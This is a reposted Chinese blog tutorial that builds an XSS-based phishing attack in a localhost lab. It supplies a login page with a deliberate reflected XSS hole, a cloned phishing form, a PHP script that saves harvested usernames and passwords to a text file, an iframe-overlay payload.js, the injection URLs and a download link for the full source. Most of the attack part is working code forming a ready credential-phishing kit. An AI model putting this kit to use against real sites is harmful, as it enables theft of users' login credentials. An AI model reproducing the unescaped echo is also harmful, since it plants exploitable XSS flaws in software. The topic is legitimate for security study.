WEB安全

XSS钓鱼模拟实战【附赠源码】

字号+ 作者:sn0w 来源:转载 2017-01-12 21:30 我要评论( )

通过JavaScript动态调用调整覆盖源页面内容,实现钓鱼。 本次实验根目录为xsshack,具体文件如下: login.php 登录页面文件 hack.html 钓鱼用登录页面,与正常登录......

通过JavaScript动态调用调整覆盖源页面内容,实现钓鱼。

本次实验根目录为xsshack,具体文件如下:

  • login.php 登录页面文件
  • hack.html 钓鱼用登录页面,与正常登录页面前端相同
  • hack.php        用于接受保存钓鱼页面传输的数据
  • payload.js 用于覆盖原有登录页面

下面将对每个文件的具体内容进行讲述。

首先我们模拟一个简易的登录页面login.php,同时我们在页面中模拟了一个典型的反射型XSS,用于配合钓鱼,代码如下:

[HTML] 纯文本查看 复制代码
<!DOCTYPE html>

<html>

  <head>

<meta charset="utf-8">

<title>xxx用户登录</title>

  </head>

  <body>

<form action="http://127.0.0.1/xsshack/login.php" method="post">

  xxxx登录页面<br>

  <input type="text" name="user" value=""><br>

  <input type="password" name="pass" value=""><br>

  <input type="submit" name="Login" value="Login">

</form>

  </body>

</html>

<?php

    @$id=$_GET['id'];

    echo $id;    //xss输出点

?>


模拟的钓鱼页面hack.html,前端代码完全一样,但是表单提交的地址变为我们可以控制的页面,为了标示的更清楚,我们在页面中加入了钓鱼页面字样,代码如下:

[HTML] 纯文本查看 复制代码
<!DOCTYPE html>

<html>

  <head>

<meta charset="utf-8">

<title>xxx用户登录(钓鱼页面)</title>

  </head>

  <body>

<form action="http://127.0.0.1/hack.php" method="post">

  xxxx登录页面(钓鱼页面)<br>

  <input type="text" name="user" value=""><br>

  <input type="password" name="pass" value=""><br>

  <input type="submit" name="Login" value="Login">

</form>

  </body>

</html>

我们还需要一个接受保存的密码的脚本,也就是上边的hack.php文件,代码如下:

[HTML] 纯文本查看 复制代码
<?php

  $user=$_POST['user']; //获取用户名

  $pass=$_POST['pass']; //获取密码

  $passtxt=fopen("passtxt.txt","a");  //打开文件

  fwrite($passtxt,"User:".$user."Pass:".$pass."\n");  //写入文件

  fclose($passtxt);

  header("location:http://127.0.0.1/xsshack/login.php");  //转跳到正常页面 

 ?>

构造一段代码payload.js,实现覆盖原有页面并调用我们的钓鱼页面进行覆盖,代码如下:

[HTML] 纯文本查看 复制代码
  document.body.innerHTML='<div style="position:absolute;top:0px;left:0px;width:100%;height:100%">'+

'<iframe src=http://127.0.0.1/xsshack/hack.html width=100% height=100%>' +

'</iframe></div>'

我们构造payload,其中xsshack为本次试验的根目录

http://127.0.0.1/xsshack/login.php?id=%3Cscript%3Ealert(1)%3C/script%3E
访问链接后,成功触发xss,这就是简单的反射型xss利用

构造xss钓鱼的payload:

http://127.0.0.1/xsshack/login.php?id=<script src='http://127.0.0.1/xsshack/payload.js'></script>
当我们打开payload时,页面会根据payload.js的内容对页面就行重改,覆盖原有页面,此时我们登录会记录帐号密码发送带hack.php,在对信息记录完成后在转跳会正常登录页面,如图:



附件:文章所涉及到的源码文件:

链接: http://pan.baidu.com/s/1sllNrRZ 密码: 63ya


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Web/538.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
暂时未开启评论功能~